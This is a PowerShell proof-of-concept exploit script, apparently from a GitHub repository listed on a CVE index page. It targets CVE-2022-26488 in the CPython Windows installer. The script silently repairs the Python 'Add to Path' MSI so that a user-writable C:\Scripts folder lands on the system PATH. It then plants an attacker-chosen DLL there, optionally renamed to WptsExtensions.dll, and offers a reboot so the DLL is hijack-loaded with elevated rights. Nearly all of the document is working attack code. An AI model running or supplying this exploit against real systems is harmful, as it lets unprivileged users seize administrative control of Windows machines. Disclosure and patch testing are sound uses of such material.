4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Invoke-PyPATHPwner.ps1 PS1
function Get-FileMetaData {
    <#
    .SYNOPSIS
    Small function that gets metadata information from file providing similar output to what Explorer shows when viewing file

    .DESCRIPTION
    Small function that gets metadata information from file providing similar output to what Explorer shows when viewing file

    .PARAMETER File
    FileName or FileObject

    .EXAMPLE
    Get-ChildItem -Path $Env:USERPROFILE\Desktop -Force | Get-FileMetaData | Out-HtmlView -ScrollX -Filtering -AllProperties

    .EXAMPLE
    Get-ChildItem -Path $Env:USERPROFILE\Desktop -Force | Where-Object { $_.Attributes -like '*Hidden*' } | Get-FileMetaData | Out-HtmlView -ScrollX -Filtering -AllProperties

    .NOTES
    Source: https://evotec.xyz/getting-file-metadata-with-powershell-similar-to-what-windows-explorer-provides/
    #>
    [CmdletBinding()]
    param (
        [Parameter(Position = 0, ValueFromPipeline)][Object] $File,
        [switch] $Signature
    )
    Process {
        foreach ($F in $File) {
            $MetaDataObject = [ordered] @{}
            if ($F -is [string]) {
                $FileInformation = Get-ItemProperty -Path $F
            } elseif ($F -is [System.IO.DirectoryInfo]) {
                #Write-Warning "Get-FileMetaData - Directories are not supported. Skipping $F."
                continue
            } elseif ($F -is [System.IO.FileInfo]) {
                $FileInformation = $F
            } else {
                Write-Warning "Get-FileMetaData - Only files are supported. Skipping $F."
                continue
            }
            $ShellApplication = New-Object -ComObject Shell.Application
            $ShellFolder = $ShellApplication.Namespace($FileInformation.Directory.FullName)
            $ShellFile = $ShellFolder.ParseName($FileInformation.Name)
            $MetaDataProperties = [ordered] @{}
            0..400 | ForEach-Object -Process {
                $DataValue = $ShellFolder.GetDetailsOf($null, $_)
                $PropertyValue = (Get-Culture).TextInfo.ToTitleCase($DataValue.Trim()).Replace(' ', '')
                if ($PropertyValue -ne '') {
                    $MetaDataProperties["$_"] = $PropertyValue
                }
            }
            foreach ($Key in $MetaDataProperties.Keys) {
                $Property = $MetaDataProperties[$Key]
                $Value = $ShellFolder.GetDetailsOf($ShellFile, [int] $Key)
                if ($Property -in 'Attributes', 'Folder', 'Type', 'SpaceFree', 'TotalSize', 'SpaceUsed') {
                    continue
                }
                If (($null -ne $Value) -and ($Value -ne '')) {
                    $MetaDataObject["$Property"] = $Value
                }
            }
            if ($FileInformation.VersionInfo) {
                $SplitInfo = ([string] $FileInformation.VersionInfo).Split([char]13)
                foreach ($Item in $SplitInfo) {
                    $Property = $Item.Split(":").Trim()
                    if ($Property[0] -and $Property[1] -ne '') {
                        $MetaDataObject["$($Property[0])"] = $Property[1]
                    }
                }
            }
            $MetaDataObject["Attributes"] = $FileInformation.Attributes
            $MetaDataObject['IsReadOnly'] = $FileInformation.IsReadOnly
            $MetaDataObject['IsHidden'] = $FileInformation.Attributes -like '*Hidden*'
            $MetaDataObject['IsSystem'] = $FileInformation.Attributes -like '*System*'
            if ($Signature) {
                $DigitalSignature = Get-AuthenticodeSignature -FilePath $FileInformation.Fullname
                $MetaDataObject['SignatureCertificateSubject'] = $DigitalSignature.SignerCertificate.Subject
                $MetaDataObject['SignatureCertificateIssuer'] = $DigitalSignature.SignerCertificate.Issuer
                $MetaDataObject['SignatureCertificateSerialNumber'] = $DigitalSignature.SignerCertificate.SerialNumber
                $MetaDataObject['SignatureCertificateNotBefore'] = $DigitalSignature.SignerCertificate.NotBefore
                $MetaDataObject['SignatureCertificateNotAfter'] = $DigitalSignature.SignerCertificate.NotAfter
                $MetaDataObject['SignatureCertificateThumbprint'] = $DigitalSignature.SignerCertificate.Thumbprint
                $MetaDataObject['SignatureStatus'] = $DigitalSignature.Status
                $MetaDataObject['IsOSBinary'] = $DigitalSignature.IsOSBinary
            }
            [PSCustomObject] $MetaDataObject
        }
    }
}

function Find-PythonAddToPathMSI {
    $Files = Get-ChildItem c:\windows\installer

    foreach ($File in $Files){
        $Subject = Get-FileMetaData -File $File -Signature | select Subject
        if ($Subject -like "*Python*Add to Path*"){
            return $File
        }
    }
}

function art {
$art =  
"
    ██████╗ ██╗   ██╗██████╗  █████╗ ████████╗██╗  ██╗██████╗ ██╗    ██╗███╗   ██╗███████╗██████╗ 
    ██╔══██╗╚██╗ ██╔╝██╔══██╗██╔══██╗╚══██╔══╝██║  ██║██╔══██╗██║    ██║████╗  ██║██╔════╝██╔══██╗
    ██████╔╝ ╚████╔╝ ██████╔╝███████║   ██║   ███████║██████╔╝██║ █╗ ██║██╔██╗ ██║█████╗  ██████╔╝
    ██╔═══╝   ╚██╔╝  ██╔═══╝ ██╔══██║   ██║   ██╔══██║██╔═══╝ ██║███╗██║██║╚██╗██║██╔══╝  ██╔══██╗
    ██║        ██║   ██║     ██║  ██║   ██║   ██║  ██║██║     ╚███╔███╔╝██║ ╚████║███████╗██║  ██║
    ╚═╝        ╚═╝   ╚═╝     ╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝                                                                                  
    Exploit for CVE-2022-26488 discovered by the Lockheed Martin Red Team
    Written by: Spencer Alessi @techspence
"
$art
}

function Invoke-PyPATHPwner {
    <#
    .SYNOPSIS
    POC Exploit for CVE-2022-26488 - Python for Windows (CPython) escalation of privilege vulnerability, discovered by the Lockheed Martin Red Team.

    .DESCRIPTION
    CVE-2022-26488 is an escalation of privilege vulnerability in the Windows installer for the following releases of CPython:

        - 3.11.0a6 and earlier
        - 3.10.2 and earlier
        - 3.9.10 and earlier
        - 3.8.12 and earlier
        - 3.7.12 and earlier
        - All end-of-life releases of 3.5 and 3.6
        
    The vulnerability exists when installed for all users with the "Add 
    Python to PATH" option selected. A local user without administrative 
    permissions can trigger a repair operation of this PATH option to add 
    incorrect additional paths to the system PATH variable, and then use 
    search path hijacking to achieve escalation of privilege. Per-user 
    installs (the default) are also affected, but cannot be used for 
    escalation of privilege.

    .PARAMETER DllPath
    The path to your totally legit dll

    .PARAMETER NewDllName
    Optional parameter to rename your totally legit dll

    .EXAMPLE
    Invoke-PyPATHPwner -DllPath c:\users\pentest\desktop\hijacker.dll

    .EXAMPLE
    Invoke-PyPATHPwner -DllPath c:\users\pentest\desktop\hijacker.dll -NewDllName WptsExtensions.dll

    .EXAMPLE
    Invoke-PyPATHPwner -DllPath C:\users\pentest\Desktop\adduser.dll -Verbose 

    .NOTES
    https://mail.python.org/archives/list/[email protected]/thread/657Z4XULWZNIY5FRP3OWXHYKUSIH6DMN/
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26488
    https://hackandpwn.com/cve-2022-26488/
    #>
    [CmdletBinding()]
    param(
        [Parameter (Mandatory=$true)]
        $DllPath,
        [Parameter (Mandatory=$false)]
        $NewDllName
    )

    if ($VerbosePreference -eq "Continue") {
        $ShowArt = art
        Write-Host $ShowArt -ForegroundColor DarkGreen
        Write-Verbose "[!] Executing PyPATHPwner, please wait..."
    } else {
        Write-Host "`n[!] Executing PyPATHPwner, please wait..."
    }

    $PythonMSI = Find-PythonAddToPathMSI
    Write-Verbose "[i] Initiating repair of Python Add to Path MSI with msiexec"
    msiexec.exe /fa $PythonMSI.FullName /quiet

    Write-Verbose "[i] Checking to see if Python Add to Path MSI repair was successful"
    $PathFolder = 'C:\Scripts'
    if (Test-Path -Path $PathFolder) {
        Write-Verbose "[i] Python Add to Path MSI repair was successful"
    }

    Write-Verbose "[i] Checking the system PATH for new entries"
    $PATH = $env:Path
    $PathFolderEscaped = $PathFolder.Replace('\','\\')
    if ($PATH -match $PathFolderEscaped){
        if ($VerbosePreference -eq "Continue") {
            Write-Verbose "[i] $PathFolder added to system PATH"
        } else {
            Write-Host "[i] $PathFolder added to system PATH"
        }
        $ACL = (Get-Acl $PathFolder).Access | Where-Object {$_.IdentityReference -eq 'NT AUTHORITY\Authenticated Users' -and $_.FileSystemRights -match 'Modify' -and $_.AccessControlType -eq 'Allow'}
        if ($ACL) {
            if ($VerbosePreference -eq "Continue") {
                Write-Verbose "[i] $($ACL.IdentityReference) now has $($ACL.FileSystemRights) rights on $PathFolder"
            } else {
                Write-Host "[i] $($ACL.IdentityReference) now has $($ACL.FileSystemRights) rights on $PathFolder"
            }
        }
    }

    Write-Verbose "[i] Moving our payload in place"
    Copy-Item $DllPath -Destination $PathFolder
    $DllName = $DllPath | Select-String -Pattern "\w+.dll" | % {$_.Matches} | % {$_.Value}
    $NewDLLPath = $PathFolder + '\' + $DllName
    if (Test-Path $NewDLLPath){
        Write-Verbose "[i] $DllPath moved successfully to $NewDLLPath"
    } else {
        Write-Verbose "[ERROR] $DllPath didn't copy successfully"
    }

    if ($NewDllName) {
        $NewDllPathNewName = $PathFolder + '\' + $NewDllName
        if ($VerbosePreference -eq "Continue") {
            Write-Verbose "[i] Renaming $DllName to $NewDllName"
        } else {
            Write-Host "[i] Renaming $DllName to $NewDllName"
        }
        
        Move-Item $NewDLLPath -Destination $NewDllPathNewName -Force
    }

    $Reboot = Read-Host -Prompt "[i] Would you like to reboot? (y/n)"
    if ($Reboot.ToLower() -eq 'y') {
        Write-Host "[!] Rebooting in 60 seconds. To cancel the reboot run: shutdown -a"
        shutdown -r -t 60
    } else {
        Write-Host "[i] NOT rebooting. You will have to find another way to execute your dll or wait patiently"
    }

    Write-Host "[+] PyPathPwner is finished. May the odds be ever in your favor"
}